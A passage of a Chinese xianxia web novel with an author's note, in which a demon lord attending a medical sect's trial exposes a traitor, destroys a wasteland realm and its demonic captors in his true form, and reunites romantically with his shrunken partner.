化世台之上,是更高的观景台。 宗主符宣微站在台中央,一副鹤发青颜的慈悲长相。她的身边是妙仙宗七位长老,以及同妙仙宗交好的其他门派长者。各门派长者的身后各自领着一队年轻弟子,想来是一道前来观看医门比试的。 符悦声探头望了一会儿,没发现徐阙那个糟老头子的身影,暗暗撇了撇嘴。 他移开视线,看到观景台的另一侧,是一方犹如天幕的水镜,正是宗门里的一件高阶法器。此时镜面被雾气笼罩,还未被驱动。水镜后方,则是一片参天密林。那处便是此次医门试炼的场所了。 倏然间,符悦声的余光捕捉到化世台的边缘处闪过一道传送法阵的金光,连忙扭头望过去——法阵仅可容纳两人。 为了万法宗颜面,因而打扮得规矩正经的徐阙站在法阵中央,身侧是一个熟悉的玄衣少年。少年站姿懒散,扎了个高马尾,鬓边两侧编进去几条小辫子,红线若隐若现。他的颈间也挂了条红绳,底下拴着一个彩螺,绳子不长不短,彩螺正好悬在他的心口处。 再往下, 就见少年的腰带上均匀地挂了一圈由红绳编成的绳结,像是悬了数条鞭炮,两只手腕更是不知叠戴了多少条赤色手绳,已经叠到了小臂中段……比起青白二色的妙仙宗弟子,少年身上红黑交织,异常扎眼,看上去还有些不伦不类。 符悦声迟疑了一瞬,然后抿着唇,叮叮咣咣地走了过去,小声打了个招呼, “.…又见面了。” 他停顿了一下,只是下句话还没想好这么说,就听到少年很不客气地冲自己伸出了一只手,理直气壮道: “差点忘了,灵石还我。” “上次你不是说请我吃东西么,我要是付钱了,那还怎么算你请的呢?” 这话太直白,毫无礼仪可言。 但问题是,符悦声还真的带了。 他从乾坤袋中掏出那枚少年留下的上品灵石,递回到对方的手上, “哦,还你。” 他很小声地补充了一句, “.…上次抱歉啦,我话太多了。” 屠天霸接过灵石,快速瞥了一眼,发现还真是上次自己扔出去的那一枚,心情莫名好了几分。 况且,当时他忽然涌上来的无名烦躁与怒意也早就平息了。 屠天霸忽然想起什么,认真地看了一眼身前的符悦声,“你……”" 他话一顿,又很随意地瞥了眼身侧的中年男人,更加直白地问年轻修士, “你吃过他的嘴吗?” 刹那之间,符悦声的脸红了两分。 徐阙呛了一口,连忙道: "喂,你……" 屠天霸没搭理他,只盯着符悦声抿唇摇头的动作,又听他头发上的琳琅佩环叮咣作响,宛如风铃声。 铃声刚落,屠天霸便自信地挺起胸膛,脸上闪动着莫名的骄傲。 “—哈。”作者有话说?显示所有文的作话 感谢小天使们的204瓶营养液~ 骑着小餐桌离开 一 PS:本单元主要写小明和阿洄的恋爱感情线,实际上没有养崽情节啦,严格来说,也不算生子(只是生命力比较顽强,没有彻底鼠掉) 一 PSS:小明是本单元的唯一崽,无价之崽(喂) PSS:小明是一款细思恐极的小笨蛋,上一章他说的那个恐怖生产,跟怪叫怪笑算是同一类精神污染,但是说完这个后,阿洄已经觉得衣服和双咻也没那么炸裂了。 不能细想这人是不是故意这么说的。 因为小明不是真小孩,所以潜意识是有比较阴暗的一面的,能活到现在证明了一切,而且小明的XP,应该已经很明显了(……)放心,这是沙雕单元,主要恋爱 一 PSSSS:小明和小符算是卧龙凤雏的友情吧(……),但小符是真傻白甜,小明是傻黑甜。 185、Chapter 185.… 不得不说,正道宗门举办试炼的流程过于繁琐,不像魔修,说开席就开席—但对于常年蹲在山洞里养蘑菇,偶尔出门进行野采活动的屠天霸来说,倒有几分新意。 特指:妙仙宗宗主在阶上讲话,他在底下跟道侣传音说小话。 内容是他对周遭一众正道修士的锐评。 比如, “原来妙仙宗宗主长这样啊,上次来都没看到,跟我身边的花孔雀长得挺像的,看起来蛮慷慨的,一定会助人为乐吧。” 阿洄: ……你且认真听,那位宗主说后山密林乃是妙仙宗的传承秘境,里面蕴养了无数天材地宝,却也暗藏危机,万不可掉以轻心。” 再比如, “可恶,她旁边那个老太婆好碍眼一看就知道她特别凶!特别不讲理!肯定经常把病人拒之门外,然后对病人破口大骂!真该死啊!这种人绝对找不到道侣!” 阿洄: ?" 再再比如, “我帮你看过了,那些正道弟子长得都不怎么样,还是我比较英俊挺拔,你要懂得知足,知道吗?“ 阿洄:“……” 他真想说自己并非朝三暮四之人,不会像少年说得那样红杏…咳,见异思迁,只是这般回应,他又觉得心中微妙。 偏偏屠天霸得不到保证不罢休,穷追不舍地问道:“怎么不说话?是不是心虚?” 话罢,他捞起彩螺,摇晃了好几下。 彩螺是他专门为缩小后的道侣炼制的容身法器,里头有个能够储存活物的空间,且空间内的人感受不到外部颠簸。 因此,阿洄没被晃晕。 他端坐在彩螺空间内,周遭的布置跟他醒来那天所处的山洞无异,甚至火堆与干草都原模原样地摆好了。 与那天不同的是, 干草堆的尖尖上被人放了一大把红绳。 色泽鲜艳,格外醒目。 阿洄忍不住陷入一阵沉默。 可最后,他还是端坐下来,手指自发地捏起红绳开始编织,只是动作在少年追问的那刻变得迟缓…… 半晌。 阿洄闭了闭眼,应声道:“我真的不会见异思迁。” 不料少年却哼了一声,“不是这句。” 阿洄思量许久,忽然福至心灵,试探性地轻声道:“……我不会离开你?” 空间外,屠天霸面露满意之色,顺势将彩螺塞进了衣襟中,让自己本就瞩目的装扮看上去更加怪异了。 与此同时,他的鼻子抽了抽。 此刻。 妙仙宗医门弟子井然有序地排成队,面朝着更高的观景台,唯独屠天霸一身黑红交加,宛如一潭清水混入了一滴浓墨。 浓得化不开,引人侧目。 符悦声站在队前,余光瞥见玄衣少年在宗主与长老叮嘱试炼事项之时左顾右盼,还抽着鼻子乱嗅,忍不住小声道: “屠道友,你有什么事吗?” 屠天霸面色如常地应道:“闻到了一股臭臭的味道。” 大多魔修身上都会有的味道。 魔修行事无所顾忌,修炼亦是如此,时常抓人吸食|精气,或是充当炉鼎,更有甚者甘愿花费数年功夫,收集许多具有同样特殊命格的人,再以残忍的手段虐杀,以达成修炼或炼制法宝的目的。久而久之,身上便散发出一股犹如锈蚀般的铁腥气,又似腐败的动物腑脏。 腥臊极了。 屠天霸杀过不少这种臭气熏天的魔修。 “.比试期间,参赛者可以自行取用后山密林的材料,进行毒药与解药的炼制,完成后,或遇到无法应对的险情,损毁玉牌便可传送离境。” “初试获胜者,可进入妙仙宗的医典阁一月,并获得宗主指点!” 台上长老的话音刚落,居天霸就听到周遭的参赛者发出低低的交谈声,他一眼扫过去,发现众人脸上的喜色难以抑制,眼中迸发出渴求获胜的精光。 旁边那只花孔雀也是如此。 正因为唯独屠天霸格格不入,全然一副事不关己的模样,以至于符悦声忍不住冲人解释了几句。 他维持着目视前方的动作,声音却从看似未动的唇间溢出来, “屠道友,进入医典阁的机会难得,况且我宗主的医术高超,能获得她的指点,是妙仙宗上下弟子都梦寐以求的美事!” 屠天霸的反应平平无奇。 虽说他确实对妙仙宗的医典阁有几分兴趣,但若是没猜错的话…… 屠天霸眼珠朝上翻,努力回忆着书册上的内容,但脑子里只剩下描述男人种种情态的文字部分了,有些烦恼地挠挠脸, “心魔,帮我想想,书里有没有写这场仙门大比出了意外?比如妙仙宗死了很多医修弟子,或者妙仙宗被灭宗之类的?“ 系统空间内。 白色光球一下子支楞起来,一边操作着原著光屏,检索全文相关剧情段落,一边好奇地问道: “嗯?宿主发现了什么吗?该不会是还在生气妙仙宗在三百年前将你拒之门外,所以咒妙仙宗被灭宗吧?” 话罢,白色光球熟练地补了一句, “宿主不是这种小肚鸡肠的人啦~” “这还用你说?”屠天霸嫌这心魔忒啰嗦,催促道,“快帮我想想。” 系统的检索速度很快,当即应道: “来了来了,使命必达!” “宿主,原著前期主要讲述了主角失忆后遭遇下流鬼医的剧情,偶尔转他人视角增加叙事,嗯……他的亲传徒弟顾宸顺利参加完仙门大比,返回宗门后才发现师尊不见踪影,期间并没有描写妙仙宗发生了什么大事呀?”“哦哦,后续仙魔大战时期,倒是有提过一嘴妙仙宗青黄不接,妙仙宗宗主更是遭遇天人五衰,医道有陨落之相。” “不过仙魔大战是五十年后才会发生的剧情,跟这场仙门大比有关联吗?” 屠天霸眨眨眼,很笃定地道:“看样子你的计策要黄了,我还是按照自己的思路来吧。” 白色光球:“宿主的思路是…….?” 屠天霸瞥了一眼身旁挂满饰品与法器的年轻修士,自得地哼笑道: “当然是等魔修跳出来屠杀这些医修弟子的时候,我及时出手将妙仙宗宗主的儿子救了,然后让她用续命梭来交换,嘿嘿。” 白色光球汗流浃背, “哪来的魔修?宿主你不会要一人分饰二角吧?冷静啊!主角还在你身上,他肯定会发现的,他这人可正直了!” 屠天霸啧了声, “跟我有什么关系啊?” 听着机智心魔在自己耳边呱唧呱唧地询问,屠天霸略为不屑地想着:心魔终究是心魔,远不及本尊的万分之一聪慧。 屠天霸端起了架子,讲解道: “数日前,本尊的天雷劫降临,洞府也毁于一旦,然后一连数日不曾现身,唯独那个女魔修撞见了本尊的幻身…….” “她知道我的手段,不敢泄密。” 说着说着,他又改回了自称, “那些魔修大概猜测我被劈死了,怕正道修士除魔卫道,或是为了某种利益,肯定打着先下手为强的主意,正好,此时又是这什么狗屁仙门大比的时期…” 屠天霸理所应当地道:“他们当然会先一步将碍事的医修杀光,削去正道修士的羽翼,为后续的争斗铺路了。” 白色光球就看到光屏上,打扮怪异的玄衣少年微微扬起下巴,稚气未脱的脸颊瓜度圆润,眸光灵动,绝对没人能想到,他此时的心音居然是…… “如果我要搞事,肯定就这么干。”NO01也是个心脏的系统,一秒领悟。 “曜,打阵营团战之前先杀奶妈啊!”“魔修真的心好脏。” 屠天霸很是赞同,忍不住附和道:“是啊,还很烦人,以前天天撺掇我去灭了这个门,那个派的,怎么自己不去啊?!” “我很忙的!”…事实正如屠天霸所料。当妙仙宗宗主施法,开启通往传承秘境的入口之时,异变就此发生。刹那间,传送入口一阵动荡扭曲。就见一道散发着阴邪气息的气旋将其淹没,一众筑基期医修转瞬消失了踪迹。 化世台上,所有人都惊了一瞬。 当然了。 这些人的反应如何,被传送到另一个危险且荒败之境的医修弟子们都不得而知了。 荒境中。 天空晦暗阴郁,仿佛被撕开了一道暗红裂口,溃烂的伤疤渗出浑浊黏液,一路淌到了天底下的岩峰。医修弟子们只来得及站稳身形,脸上的慌乱困惑刚浮现了一半,就听见半空中传来一阵粗犷的大笑, “不愧是解尸郎君,你的本事可越来越大了,居然真的把妙仙宗的筑基弟子一网打尽了,哈哈,那些老杂毛竟一无所察!” 紧接着,另一道阴柔的声音响起来, “瘟菩萨,既然你都这么说了,那小生可不客气了,这些修士全都归我,我的尸傀数量正缺着呢……”医修弟子听到这两个称号,面色顿时惨白,唯独有一人假装吃惊害怕的样子,被屠天霸一眼识破。就是你,臭臭的人!看着浓眉大眼,居然还勾结魔修,好在他机敏,懂得随机应变。早在异变发生时,屠天霸就眼疾手快地扯过身边那只花孔雀的手臂,将他牢牢拽在身边,省得丢了。屠天霸的算盘打得响亮。待会儿出去了,就拿他去换续命梭。眼见打胎在即,屠天霸的眉眼轻松,险些乐开怀。就在这时候。 那道粗犷的男声如雷霆般响起, “喂,你——“ “就是你,在偷笑的那个——” “你小子,好像不怕死啊?” 屠天霸听了这话,准备找一下哪个正道修士这么不看场合,看了一圈,发现所有人的视线都落在自己身上。 他抬起另一只手,指了指自己, “啊,在说我吗?” 186、Chapter 186 荒境里不分昼夜,一片红光。 半空中,一个身穿红裙的阴柔男子看热闹似的旁观,而被他称之为瘟菩萨的,居然是个虎背熊腰的肌肉大汉,皮肤黝黑,长相很是凶恶。 不知道为什么,在屠天霸歪着脑袋做出这个动作之后,瘟菩萨看上去似乎更加生气了。 他浑身散发着化神期修士的威压,冷喝道:“小子,你倒是胆大,怕是没听过我们的名号吧?” 屠天霸还真没听过。 不过,这也不是什么奇事。 毕竟大大小小的正道宗门十个指头都数不完,魔道也不止他一个魔尊,而屠天霸是出了名的不出头、不管事、也不认人。 之所以有魔修‘追随''他,不过是因为他跟炼魂鼎融合后的体质特殊,堪称魔气冲天,能助长魔修的修行速度。 正因如此,才出现了一众聚集在屠天霸洞府附近的魔修,还自发地给他上供。 但屠天霸极其讨厌臭气熏天的魔修靠近自己的地盘,曾一言不合击杀了数人,导致他凶名更盛,是仙魔两道公认的冷血弑杀之人,性情诡谲难测。 只是他本人并不知道这点。 此时此刻。 屠天霸被这两人的味道熏得脑袋疼,忍不住抬起手,食指打着横,堵住了自己的鼻子,很老实地摇了摇头。符悦声被他死死拽着袖子,自然看到了屠天霸这番动作,冷汗当即就下来了。那两个魔修的境界极高,远不是他们这些筑基期医修弟子可以匹敌的,激怒他们实在是不智之举。虽说他在感到异样的第一时间就掐碎了玉牌,还通过法器联络宗门与徐阙,但能否获得援救还是末知之数…符悦声连忙反拽了两下少年的衣袖,无声提醒,却换来对方一道疑惑的眼神,还瓮声瓮气地问了句, “干嘛?” 两位魔修被无视了个彻底,解尸郎君倒是不生气,瘟菩萨却被激怒,作势要祭出法器,将这个没眼色的小子拦腰斩断,以震慑其他人…… 然而,就在这时。 一道娇笑声恍然响起,语调妩媚, “哎呀,还真叫你们两个得手了?没有我的协助,你们是怎么瞒天过海的?没道理呀…….”“我还以为你们俩儿会一个不落地折在妙仙宗呢。” 众人闻声,却不见人。 屠天霸听到这道声音,眨了眨眼。 方才还看乐子似的解尸郎君脸一下子拉得老长,俨然将一众医修当做砧板上任人刀俎的鱼肉了,丝毫不在意,只顾着跟那道女生呛声, “呵,金柳衣……”“你这个两面三刀的臭婆娘来作甚,只动嘴皮子却不肯出力,如今事成了,你才现身看热闹?真以为我们没了你就不行?” “与其向我们尊者献媚,倒不如赶紧回连戮峰替你的尊上收收尸吧,说不定还能捡着点好处呢。” 下一瞬。 另一端的岩峰出现了一道婀娜多姿的身影,金柳衣只瞥见岩崖旁的修士背影,却不多在意,继续跟解尸郎君打趣, “这话说的……. 瘟菩萨是个急性子,不耐烦听这两人斗嘴,“你们先一边儿去,让我先杀杀这小子的威风,叫他知道厉害!” 话音刚落。 金柳衣下意识地循着他的视线,看向了下方的某道背影,却恍然撞进一双黝黑杏眼中。那人的侧颜充满少年气,用食指堵鼻子的动作看上去很随性,鼻梁上的红痣格外鲜亮。 她见过这个少年。 仅一次。 金柳衣的脑袋一片空白,再抬眼便是瘟菩萨掐出一个咒诀,身后的虚空处猛地探出一只巨大的鬼手,就要往少年抓去— 刹那间。 金柳衣尖叫着冲上去,一把将瘟菩萨打落,径直把他的脑袋扣到了地上,然后满脸怒容地冲解尸郎君唤道:“你们尊者才死了呢!呸,明明是他看中老娘的美色和功法,我对我们尊上忠心耿耿,我对我们戮天宗其心可鉴!” 解尸郎君也怒了, 瞬息之间,三个魔修打作一团,金柳衣还隐隐有挡在医修弟子身前的架势,她一边打,还一边高声赞颂着戮天宗魔尊居天霸的英勇,绝不可能死于天雷劫。 她一片冰心向尊上,九转不回。 这番变故太过突然。 一众医修都愣了,然后趁魔修无暇顾及此处,迅速以符悦声为中心聚拢起来,彼此交换了个眼神。 ……魔修内讧? 其中一位妙仙宗弟子低声催促道: “符师弟,你身上一定有隐匿或疾行的法宝,我们快些逃离这里,再弄清楚大家身处何方…” 说着,他不着痕迹地瞥了眼屠天霸,眸光冷然,显然是对这个举止招惹,全程拽着符悦声的散修很有意见。 实际伤害为零。 直到此刻。屠天霸仍旧是格格不入的那个人。 当那位弟子靠近时,他忍不住抬手在脸前扇了两下,像是挥去难闻的臭气一般,又似乎想到了什么,突然噗嗤一声笑出来。 这声笑很短促。 金柳衣的背影却僵了一瞬。 紧接着,屠天霸就听到身边的花孔雀低声应道:“宋师兄,我正有此意……” 这可不行。 要是人质成功自救了,他还怎么找妙仙宗交换续命梭?还怎么挟恩图报? 显得他很多余诶。 思及此处,屠天霸拽着符悦声袖子的那只手动了动。 他的指尖隔着衣袖,戳中了符悦声的手腕,然后就听符悦声惊诧道:“糟了,我忽然感知不到体内灵气,无法驱动法器…!” 随即,屠天霸祭出飞舟。 他心念一动,飞舟顿时变成足以容纳百人的大小,载着众人飞离了那三个打得难舍难分的魔修。 瞬息间,舟外的景象便从陡峭的岩峰山壁变成了一片无边无际的黄沙,从各个方位刮过来的风宛如一道道利刃,暗藏杀机。 屠天霸驱使着飞舟,停驻在荒漠上空。 机智如他,早就在进入这个荒境之际给胸前的彩螺施展了一道屏音术法,十分贴心地给道侣营造了一股岁月静好的气氛。 这大概就是心魔所说的—— 照顾孕夫心情吧? 见飞舟停留此处,周围十数人迟疑了一瞬,然后靠近几步,低声问屠天霸,“这位道友,何不继续向前,说不定能找到一个藏身之所,以供大家安心等待宗门的救援?”屠天霸看了眼符悦声。这是人质。屠天霸扫了眼众人。这是添头。屠天霸又瞥了眼那个姓宋的弟子。 这是封口费。 他眨了眨眼,直接戳穿道:“你,对就是你,那个相貌平平的浓眉毛,你跟魔修勾结,知不知道我们现在身处哪个鬼地方?我现在急着出去呢。” 以防接下来出现对方连连否认,其他弟子帮亲不帮理,跟那人同仇敌忾,质疑自己等一系列麻烦事, 屠天霸直接施展了个溯影术法。 这术法跟妙仙宗那方水镜的效用略为相似,只不过水镜显现的是实时景象,他却揪着对方身上那道魔息,回溯了那段影像。 正是那人与解尸郎君的勾结过程。 音声俱在,众人看得一清二楚。系统空间内。白色光球发出吃瓜的声音, “哦豁,实锤了,没得抵赖了。” 片刻后。 白色光球悠哉悠哉地看着那个修士在众人的视线下,先是满脸煞白地狡辩、否认、破防、然后捂脸跪倒在地,最后又将矛头对准宿主身边的符悦声…… 这时,袍忍不住感叹了一声, “乖乖,这是哪门子的名侦探○名场面误入修仙世界?犯人要交代犯罪背后的苦衷了吗?宿主果然是看似身材矮小,头脑却异于常人,咳…!”系统空间外。 符悦声被同门指着鼻子,神情怔忪, “宋师兄,你为什么…” 宋壬冷笑着说:“有道是人不为己,天诛地灭,符师弟投了个好胎,你是宗主的独子,从小便应有尽有,哪知道我们普通弟子入道的艰难?”“况且,宗主为了续上你的灵脉,居然不惜抵上自己的半生修为,还将自己的本命法宝续命梭变为一件废宝,而我却…….” 宋壬正说到自己的部分,情绪愈发激昂起来,却见那个从衣着到举止都很怪异的玄衣少年忽然打断道: “嗯?你说什么?” 续命梭废了?剩下半句话卡在喉咙里,宋壬怒瞪着那人,怨毒道:“各位师兄弟,这个散修身份不明,说不定也是魔道中人,你们可不要掉以轻心啊!”屠天霸无视他,扭头问身边的符悦声, “续命梭真的没了?” 见少年的表情臭得挂相,符悦声愣了一瞬,觉得这件事也不是什么不能说的宗门秘闻,便缓慢地点了点头。 他一点头,满头发饰又在响。 可这回,屠天霸只觉得眼前一黑。 另一头。 阿洄已经许久没听到外界的声响了。 他心中隐隐有股不好的预感。 然而,每当他跟少年传音询问情况,对方却总是敷衍地说一切都好,还说自己正在见义勇为,被他问烦了,竟然咿咿哦哦地给他唱了首歌。阿洄无奈,并有种深深的无力感。 面对这种只能依附他人,自身只能听之任之的情况,他感到很陌生,却暂时无法改变,也不忍少年心伤。 根据他的观察,少年看似跳脱好哄,实则掌控欲强盛,只听自己想听的,只做自己想做的,让人束手无策。 外头许久没有动静了。 阿洄手里的红绳已经打了结,他默默叹了口气,继续传音道: “外头究竟怎么了?你回话。” “…别叫我担心你。” 很快。 少年传音回应了。 屠天霸像是被踩到了尾巴的猫,嗷的一声喊出来,语调凄厉至极, “他爷爷的!” “—我的天塌了!!” 187、Chapter 187 屠天霸没开玩笑。 他现在当真有种天塌了的感觉,并十分熟练地骂了句, “贼老天真是该死啊,怎么处处跟我作对?难不成我上辈子捅了天道的老窝,所以这辈子才对我百般阻挠?!” 白色光球:“….” 还真是这样。 不过宿主是否被天道针对这一点暂且无从考究,此时,N001的数据脑里只冒出三个大字— 毫不夸张地说,NO01的危机感比气到鼓着脸,想要冲空气打拳的宿主,以及失了忆的主角还要强。 主角,危。最可怕的是,塞班!! 主角要是死了,任务系统将自动返回时空书局,那袍岂不是完犊子了? 老实说,被改造成一个糯米团子已经很可悲了,袍可不想再次被时空书局切片,然后全面清扫大脑。 球还在,积分没咯! 思及此处,N001突然很想为自己点一根烟,好在癫子宿主对双修的渴望不异于袍对积分的渴望。 时空书局不知道一个小球球为了赚到积分能迸发出多大的力量,以及一个三百二十七岁的小处男对双修的执着! ………他球的。好像被宿主影响到精神状态了。 系统空间内,白色光球先用双修’二字打了个窝,“宿主,吃得苦中苦,方为双修人嘛,你可千万不能泄气!” 袍稍稍一顿,然后问道: “妙仙宗那边没戏了,你现在打算怎么办?话说修仙世界无奇不有,应该可以找到其他的解决办法吧?但是主角好像没几天时间了?” “宿主不会放任他殒命吧?” 袍小小声地继续说:“都是宿主之前乱给主角喂东西啦,男子汉要负责哦…?” 最后,袍义正言辞地喊了个口号, “——为了双修!!” 这句话真是喊到屠天霸的心坎里去了。 虽说他的情绪和精神状态属实算不上稳定,但要论百折不挠的坚韧品性,屠天霸还是很有自信的。 他抬手拍了拍自己的脑袋,很快从愤怒中清醒过来,“说得对,续命梭没了就没了吧,我还有其他办法,没人能阻止我双修!” 就是他的法子…… 宋壬也知道这点。 屠天霸不大想用,这才打上了续命梭的主意。 谁料天意弄人,他居然白忙活了这么久。 屠天霸想起来,心里还有气,不自觉地将小脸拉得老长,看得飞舟上的多数妙仙宗弟子心生疑虑。 少数几人已经有些认同宋壬的说辞了。 ——玄衣少年的动机不明,不知是敌是友,应当戒备。 唯独符悦声还在状况之外。 他先是为屠天霸辩驳了几句,然后向宋壬询问荒境的详细情况。 所谓荒境,是天地灵气耗尽的秘境,不仅无法滋养生灵,连出入口都难寻,整个境界极不稳定,不知何时会消散。 想来,那几个魔修肯定掌握着荒境的出入口信息,但他们却对此一无所知。 若是不能及时离开,众人说不定会随着荒境的陨灭而丧命。 他面露不安,低声应道:“我真的不知道,那个魔修只说让我配合他做一场戏,事后会带我离开…”说到一半,宋壬仰着脑袋,双目一下子瞪圆了,仿佛看到让人难以置信的画面,表情骤然惊恐起来,声音也戛然而止。 红云压顶,黄沙飞漫。 舟外的景象荒芜极了,只有无穷无尽的肃杀之象,只见玄衣少年活动筋骨似的扭动了一圈脑袋,冷不丁地一抬手,飞舟便被他缩小,收入掌心。 事情发生在一刹那间。 下一瞬。所有人从万米高空失重下落!在场的人皆是医修,唯——个能够御剑飞行的剑修还形同凡人,被屠天霸缩小后藏在一个小彩螺里。听着四散在空中的惊慌喊叫,屠天霸仍旧格格不入地恣意大笑起来,还很尽兴地发出了一连串的怪叫。 “呜哇——”符悦声:“!”下坠。他晕了过去。“轰——!”不,不是吞噬。是同化。 “风好大—!” 他撇过脸,看了眼被自己拽住衣袖,灵力被克制的符悦声,发现对方也是满脸的错愕,五官被风吹得皱在一起。 屠天霸忍不住笑得更大声了。 还是他更优雅从容些。 既然不必借用续命梭,那么这些被他粗暴分类为人质、添头、以及封口费的存在都没了用处。 但屠天霸转念一想,觉得自己不是很讨厌这只花孔雀,便解了对方的灵力限制,好心地提醒道: “喂,你腰上那个小铃铛是不是护身罩啊?打开。” 符悦声很艰难地听清了这句话。 然而,不等他反应过来,少年便将他用力往上一抛,自身却以更快的速度下坠,宛如陨落的星火。 屠天霸畅快极了,他不需要再抓着人不放,终于能够彻底放开手脚,忍不住在空中晃悠打转了好几圈。 期间,他看到花孔雀展开了护身罩,将身边所有人都护住,居然连那个宗门叛徒也不例外。 屠天霸不自觉地撇了撇嘴,却也没放在心上。 他可不是多事的人,自然没有替正道宗门清理门户的闲心。 不料符悦声稳住身形后,猛地翻身面朝下,操控着护身罩朝屠天霸靠近,一边冲他伸出手,一边高声唤着, “屠道友,拉住我!” 荒境的天空红得像是要滴血,将黄沙映衬得诡谲异常,玄衣少年双臂大敞地往下坠落,衣袍与腰间的平安结却 朝上飞舞,额发遮住他的 眼,符悦声只看到他下半张脸的癫狂笑意。 不停地下坠。空气逐渐被黄沙染成重色,符悦声只能隐约看到少年身下的沙丘翻涌,如同巨兽的脊背,要将所有人吞没。呼啸的风裹着沙砾,像是吃人的怪物。 符悦声目光所及的最后一个画面—是少年冲自己挥了挥手,然后一个弹指,护身罩便传来一阵激荡……… 所有人都晕了过去。 因此,只有身处千里之外,仍旧打成一团不罢休的三个魔修看到了接下来所发生的事情。 整个荒境都在震颤,远方有一团浩渺的黑雾喷涌腾空,那黑雾像是活过来的上古魔蟒,转瞬间将满天的黄沙吞噬殆尽。 黑雾迅速往每一个方位蔓延,荒境中的一切以肉眼可见的速度消逝,分解,化作一团更加汹涌的阴冷雾气。 眨眼的功夫,无边的归墟漠海无影踪。 三人齐齐愣住,停住了手下的动作。 金柳衣还算早有心理准备,表情尚且稳当,另外两个魔修却几乎目眦俱裂,当即惊叫出声, “屠天霸没死?!” 解尸郎君神色狰狞地瞪着那团飞速靠近的黑雾……不,那是浓郁至极的猩红色,宛如死去多时的尸体渗出的血液,随着岁月的流逝而变得暗沉黝黑。 他后退两步,嘶吼道:“他在炼化这个荒境,赶紧走,否则我们死定了!” 下一刻。 少年的声音响起来, “走?你们要往哪里走?” 满天血雾充斥了半个荒漠。 这时候,一道足以遮天蔽日的巨大身影自雾气中央坐起来,还慵懒地伸了个大大的懒腰,细瘦的指尖仿佛要把天穹捅破。 在他面前,三个魔修被衬托得像是三粒渺小的沙砾。 那是一具乌黑的骷髅,骨身的每一寸都爬满了鼎纹,恶鬼的脸如同浮雕一般点缀其间,密密麻麻,不计其数,似乎想要挣脱而不得,表情骇然 这是炼魂鼎。 这亦是屠天霸的真身。 他站起身,随手将猩红天幕撕出一道裂缝,而后做了个抛丢的动作,像是把什么东西扔了出去,再然后…… 屠天霸偏了偏脑袋,看向三人。 金柳衣忍不住吞咽了一下,向屠天霸表了几句衷心,迅疾往那道天幕缺口飞去,发现自己并未遭到阻拦后,长舒了一口气。 解尸郎君和瘟菩萨就没那么好运了。 “咔嗒。” 在他们二人的眼中,当骷髅扭头看过来的时候,那两个空洞的眼眶宛如悬挂在天幕上的死兆星,让人无法动弹。 瘟菩萨的呼吸急促而沉重,冲解尸郎君大声唤道:“如今死到临头,还不同我放手一搏!” 这时,少年的声音自天顶降下, “啊,就是你。” “你刚才想杀我,对吧?” 闻言,解尸郎君想起了那道传言,不由得吞了吞口水,扬声求饶:“小生并未对魔尊喊打喊杀,只是不巧在此处相逢,请魔尊高抬贵手,饶小生一命!” 寂静。要命的寂静。 在丧命的那一刻,解尸郎君只听到一句轻描淡写的…… “你很臭,熏得我脑袋疼。” 万物被消解。 血雾填满了荒境,融化着荒境…… 转瞬之间,荒境便彻底消失了,只剩下一片虚无,方才被他撕裂的空间裂缝正在缓慢地愈合。 而此时,屠天霸收回了血雾,解除了如同法天象地一般的真身,重新变回了那个打扮怪异的玄衣少年。 身上的红绳被他护住,并未受到侵蚀。 解除真身之后,他再度从空中降落。 屠天霸的脸上没有表情,也没有发出笑声与怪叫,他的耳边已经够吵了,不愿意再多出噪音。 活又活不好,死又死不掉。 ………他真的觉得有点累了。 就在这时候。 呼啸的风将他的衣襟吹得鼓起来,先前被屠天霸藏在里头的小彩螺掉落出来,在他眼前晃悠个不停。 屠天霸眨了眨圆溜溜的眼睛,忽然四肢开始剧烈扑腾起来,宛如冲空气打拳,身体螺旋降落。 “可恶,双修!” “我好想双修啊!!” “感觉浑身有蚂蚁在爬!!!” 喊完,他才想起自己对小彩螺施展了屏蔽外界声音的法术,当即将里头的小人放出来,然后把对方恢复了原来的大小。 屠天霸正等着男人丢丑的模样,不料对方只惊讶了一瞬,反应很快地拽住了屠天霸的手腕,有些生气地道:“这就是你说的''一切都好’?!” 男人悬在屠天霸的上空,长发顺着风向后飞去,有一缕不听话的额发贴着他的眼尾落到颊边……他戴着屠天霸亲手炼制的珍珠耳坠,过长的链骨闪烁着微弱的光,有些晃眼,身上的白衣宽袖长袍,在风中猎猎作响。屠天霸感受着腕间的温热,以及紧紧攥住自己的力道,脑袋里忽然闪过一道念头。 ……是他的。 眼前这个男人,是他的所有物。屠天霸忍不住闷笑了两声,可这声响掰开了他的嘴,从他的喉咙里跳出来,演变成放肆的笑声。他整个人震颤起来。 这阵震颤顺着手腕传递至男人的掌心。 随后,阿洄听到少年闭着眼,大笑着冲他,也冲这片天地抒发着自身的肺腑之言, “我想——” “跟你——” “双修哦呜——” 这句话在四面八方回荡,仿佛千万个人前赴后继地在男人耳边喊着这几个字。 莫名的,阿洄忍不住也笑了一声。 “…知道了。” “耳朵都听出茧子了。” 下一瞬。 阿洄被少年扯下来。 一双微凉的唇覆盖上他的,用力地啃咬吸吮。 而他,只是下意识地闭上了眼睛。 188、Chapter 188 ... 嘭的一声。 屠天霸扣着男人的腰,将他整个人拥在身前,从始至终都没有松开他的唇,直至两人一同坠入水中。 清波激荡,水花四溅。 男人显然对当下的境况始料未及,下意识地挣扎了两下,屠天霸却不放开他,反而带着他继续往下坠。 曦光被水面浸透,变得潮湿沉重。 屠天霸睁着眼,乌黑的眸子覆上水的冷色,同时还倒映着自己与男人交缠在一起的长发,宛如招摇的水藻。 紧接着,那人呼出几个透明的气泡,扑腾地往上飞,屠天霸歪了歪脑袋,觉得自己似乎听到了几声咕噜咕噜的声音。 他忍不住伸手去抓 然而,就这么一分神的功夫,阿洄便挣脱了他的桎梏,甚至反手揪住他的小臂,带着屠天霸一同往水面游去。 水不深。 "哗啦——" 两人几乎是同时在水面冒了头。 男人仰着脑袋,肩颈也探出了水面,并随着他的呼吸而剧烈起伏着,水润殷红的唇半启,很细微的喘气声被他呵出来。水珠扑簌簌地落。 像是一块被人捞在掌中冲洗的白玉。 尽管屠天霸的右臂被男人擒住了,他的左臂却仍旧环在对方的腰间,忍不住用手心摩挲了两下,随即杏眼微弯。 阿洄感受到后腰处的异动,当即颔首敛眸看向身前的少年—只露出半张脸,鼻子以下的部位泡在水下,两只湿润的眼睛滴溜溜地转。 可爱,看起来很乖巧。 可惜都是假象。 阿洄喘匀了气,强忍着无奈和气闷,将表情端正了,问道: “到底是怎么回事?” 闻言,屠天霸的嘴巴在水下动了几下。 阿洄就看到水面冒出几个泡泡,还伴随着咕噜咕噜的声音,对方说了什么,自己一概没听清。 